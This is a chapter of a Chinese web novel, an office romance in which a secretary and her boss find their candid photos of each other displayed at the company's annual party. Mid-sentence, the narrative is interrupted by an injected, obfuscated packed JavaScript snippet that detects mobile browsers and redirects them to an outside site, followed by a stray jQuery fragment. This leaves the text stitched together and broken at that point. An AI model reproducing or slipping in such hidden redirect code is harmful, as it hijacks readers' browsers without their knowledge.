“这是李秘书，以后你秘书职务活都可以交给她做。”梁非领着人从两位总经理办公室出来，带到姜与清面前说道。
和前面的关系户不同，李秘书是从底下行政部提拔上来的，对于秘书的上传下达、行政业务处理很熟练，她来了以后，姜与清省了不少心，完全可以放心跟着霍北司到处跑业务。
忙碌的日子过得很快，转眼间就到1月15日，距离过年只有不到二十天的时间，公司上上下下都忙着年会，准备迎接新年。
年会是霍庭旭带着总经办和行政处的人一起筹备的，不得不说，富二代们在吃喝玩乐上确实有一套，整个年会以运动为主题，处处透露着青春与活力。
年前的摄影比赛只是预热活动，真正的年会上还有来自各部门的大活动，就跟学校里的文艺汇演一样，员工自发组织节目表演和小游戏。而奖品也相当丰厚，从一两百的现金红包，到上万块的电子产品，品类丰富，数量繁多。
为了照顾i人同事，将活动区域也进行划分，拿掉了往年各个部门领导上去讲话的冗余环节，还专门开了个吐槽大会环节，立志让年会轻松好玩又有趣。
到底受场地限制，参加年会的也就三百多人，这天，姜与清特意穿了一身橙色休闲运动服和白色运动鞋，只是一起出门的时候，她发现霍北司的穿着也变了。
一身休闲灰色运动服，配了双白色板鞋，一改往日深沉严肃的西装打扮。
如果仔细看，和姜与清的穿着还有两分情侣装的模样。
姜与清在一旁啧啧称赞，“霍总，我现在相信你只有三十岁了。”
霍北司睨了她一眼，神色不善，“所以在你眼里，我本来多少岁。”
姜与清嘿嘿一笑，夸张地说：“霍总不说，我还以为霍总只有二十岁呢。”
这话放之前打扮的霍北司身上是夸张手法，但放今天的霍北司身上，毫无违和感。
虽然知道姜与清是在哄他，但不妨碍霍北司心情好，他笑道：“谄媚我也没法内幕，给你抽个一等奖。”
年会上，集团高管和部门主管是要上去抽奖送福利的，此前，姜与清给霍北司做了顿好吃的，又吹捧他半天，希望他发挥自己的好运气，给她狠狠抽个大奖。
到达专门用来年会的大厅会场，姜与清就和霍北司分开了，她去取了自己的获奖号码，之后就进会场找到自己的位置。
难得关系户们对什么东西感兴趣，总经办的坐席这会儿就她和李秘书在，其他人全在后台盯着年会流程。
这会儿大屏上放着年会的主kv，而侧屏则是年前摄影比赛作品展播，并且会在现场角逐出每组的一二三等奖。
按照姜与清这个在工作中一向谨慎爱端水的性格，提交上去的作品必然是跟总经办相关的，她选了一张带有总经办所有人的照片，照片里，以梁非为前景，透过身后的百叶窗能看到霍北司和霍庭旭坐着讨论些什么，而梁非工位旁，剩下的人则是各自忙自己的事情，尽管忙的不是什么正经事。
为了突出工作的认真和刻苦，姜与清还专门将照片调至暗色调，突出放大其肃穆感。
不是奔着拿奖去的，而是想要凝聚总经办的这股力量。
虽然也不知道是什么力量。
只是姜与清刚坐下想要欣赏大家的杰作，就被霍北司一个消息叫走了，恰好错过了屏幕里闪过的照片。
姜与清到了后台休息室才知道，原来今天霍家人几乎全部到席，连同霄云的合伙人，当初跟着霍老董事长一起打天下的程董也来了。
据说这位程董是霄云的大功臣，当初和霍老董事长一个主外，一个主内，程董负责拉业务，霍老董事长负责企业经营，只是后来集团稳定后，程董从公司退了下来，出国养老去了，但在霄云老一辈高管中，依然有他的一席之地。
连霍北司都要叫他一声“程叔”。
只是，姜与清觉得奇怪，这样算得上是家人团聚的场合，她来干什么。
霍老董事长难得温和，满脸笑意，和程开进相聊甚欢，小辈们也在下面各自寒暄。
姜与清站了一会儿，觉得无聊，毕竟霍北司把她叫来，也只是带着她认了认人，就和林浅兮一样，之后再没下文了，反倒是陆宛秋略亲热地拉着她聊了会儿天，问了几句好。
程开进和霍老董事长聊了会之后，就走到他们这些晚辈面前来，拍了拍霍启民的肩膀，“听说你们过两天要去塞舌尔，小雪刚从那儿回来，景色很漂亮。”
陆宛秋说：“是吗？那我们更要去了。”
“自由去，自由回，最能欣赏到好风光，”程开进笑着说：“到时候让小雪给你们整理份攻略，她最会玩了。”
说完又转头看向霍北司，“北司，你也是，要多休息休息，和年轻人出去玩一玩，别老想着工作。”
程映雪，程开进的小女儿，比霍北司小三岁，和她爱玩的天性一样，有一道不羁的灵魂，拉着程开进撒娇，“我这叫会享受生活，您老古板当然不懂。”
程开进脸色一沉，假装不开心，程映雪抱着他的胳膊笑嘻嘻道歉。
其他人都哈哈大笑起来。
一段话，程开进提到了两次小雪，又点名霍北司，姜与清只觉嗅到了八卦的味道，竖起耳朵仔细听。
被点到名字的霍北司“嗯”了一声，“程叔，会的。”
程开进点点头，又问候起霍庭旭他们这群小辈，连带着姜与清都在程开进面前漏了个脸，只是不知道为什么，她觉得程开进看到她的时候，神色有些意味深长。
不多时，后台休息室的门被打开，工作人员通知说年会还有十五分钟开始，股东和高管们可以做好入场准备了。
姜与清和霍北司、霍庭旭以及林浅兮没去霍家家族的宴桌，而是到总经办的桌席落座。
然后她就看到简言和周新月一脸敬佩又同情的一言难尽的表情看着她，而许知川则是欲言又止。
姜与清：“……”
怎么了？
姜与清狐疑，不知道为什么，她心里莫名生起了一种不详的预感。
还没来得及等她问什么，林浅兮的惊呼声从一旁传来，“姜秘书，那是你吗？”
紧接着“啊，还有小叔。”
思绪被声音打断，姜与清顺着林浅兮的视线看过去，只见侧屏上循环播放的员工摄影作品正好切到了一张熟悉的脸上。
是元旦节那天，她凭本能拍的霍北司温柔低眸浅笑的侧脸，区别于霍北司平日严肃冷厉的工作模样，这张照片把他五官轮廓的精致和气质展现得淋漓尽致。
随之而来的，还有会场清一色的吸气声，伴随着好帅、好涩、好骚气的声音不停地传入姜与清的耳中。
“！”
姜与清浑身毛炸起。
是谁要害她！
她第一反应是去看霍北司，可霍北司的脸上也略带诧异，神色不似作伪，显然也是第
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263815|178210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一次看到这张照片。
只一瞬间，她神色僵硬，脑子闪过她提交作品的哪天，因为要给霍北司发客户合同，所以一时着急上传错了照片！
但这不是最致命的，最致命的是紧接着大屏上同样出现了一张照片。
她的。
一张晚上静谧的办公室里，四周都空下来，姜与清为了方便，半扎着长发垂在脑后，因为控制不住疲惫，所以左手撑着脸颊，而右手手里还拿着一沓资料的照片。
美丽，静谧而孤独。
不，也不孤独，因为有了那个拿手机把这一切都记录下来的人。
姜与清记得那天，因为要准备和帆和的合作，所以两人都忙到很晚才回家，到家更是已经十一点了，倒头就睡，她根本不知道霍北司还拍了这样一张照片。
这两张照片单看也没什么，顶多是霍北司的照片一看就是在私人场合拍的，稍微显得私密了些，可一旦两张照片放一起，竟然莫名生出了两分cp头像的错觉。
难怪简言和周新月的神色莫名其妙。
尤其是简言，就差把想吃他们俩的瓜写脑门上了。
姜与清脑子一抽，决定先发制人，“霍总，你偷拍我？”
霍北司挑眉，“你不也一样？”
然后姜与清就看到简言倒吸一口冷气，捶胸顿足，一副磕到了的表情。
姜与清：“……”
算了，和你们这群人说不清楚。
况且，她自己也心虚。
无他，实在是霍北司那张照片太好看了，也太私密了些，只看一眼就会让人心跳加速的程度，此刻她只希望年会赶紧开始，然后赶紧跳过这一趴。
但，现实总会在人破防的时候再来狠狠一击。
年会是开始了，也是到了颁奖这一part了，随着主持人揭秘奖项，姜与清赫然看到自己的照片和霍北司的照片均荣获三等奖。
很给面子了。
姜与清受之有愧，她还要和霍北司一起上去领奖，而颁奖的人是霍庭旭。
姜与清：“……”
过于抓马。
姜与清全程职业微笑，下了台以后以袖掩面，拒绝见人。
不过除开这个略微社死的小插曲，年会整体还是很有趣的，年轻人很会玩些花活，现场气氛轻松活跃。
一直到年会后半段，主持人又公布了一项游戏，抢坐垫。
现场8个人参与，一共7个坐垫，没抢到的那个人要么表演一个才艺，要么现场发五百的红包。而每出局一个人就会减少一个坐垫，直到决出最后的那个人，可以获得千元大奖。
一听就是专门针对那群高管们设置的游戏。
但不知道是不是他们害羞，一时间竟然没一个人上去，主持人还在台上卖力吆喝。
正当现场气氛快要陷入冷凝时，霍庭旭第一个举手，“我来。”
姜与清看了看，现场除了霍北司和霍庭旭，其他高管们的年龄普遍35+，他们俩谁上去都是碾压对手的存在。
林浅兮卖力给霍庭旭鼓掌，“加油！”
霍庭旭也十分不要脸地回了一个爱心，惹得现场一片尖叫，林浅兮也配合着害羞但又大方。
纯情而又美好，姜与清脸上不自觉挂上了姨母笑，喊着“加油”。
“如果我和霍庭旭上去比，你支持谁？”姜与清愣住，转头，霍北司眼神落在她身上，脸上是笑着的，像是不经意问到她一样。